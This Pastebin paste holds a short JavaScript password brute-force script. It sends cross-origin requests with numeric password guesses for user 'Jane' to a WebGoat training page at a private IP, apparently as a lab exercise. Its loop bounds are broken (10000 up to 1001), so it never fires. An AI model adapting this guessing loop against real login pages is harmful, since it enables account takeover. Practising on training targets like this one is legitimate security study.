Advertisement
Guest User

Untitled

a guest
Apr 23rd, 2016
83
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.44 KB | None | 0 0
  1. function send(arg) {
  2. var XHR = ("onload" in new XMLHttpRequest()) ? XMLHttpRequest : XDomainRequest;
  3.  
  4. var xhr = new XHR();
  5.  
  6. xhr.open('GET', 'http://10.8.0.01/WebGoat/attack?Screen=776&menu=500&user=Jane&pass=' + arg.toString() +'&Submit=Submit', true);
  7.  
  8. xhr.onload = function() {
  9. //if (this.responseText.search("Login Failed") == -1)
  10. alert( this.responseText );
  11. }
  12.  
  13. xhr.send();
  14. }
  15.  
  16. for (var i = 10000; i <= 1001; i++)
  17. send(i);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement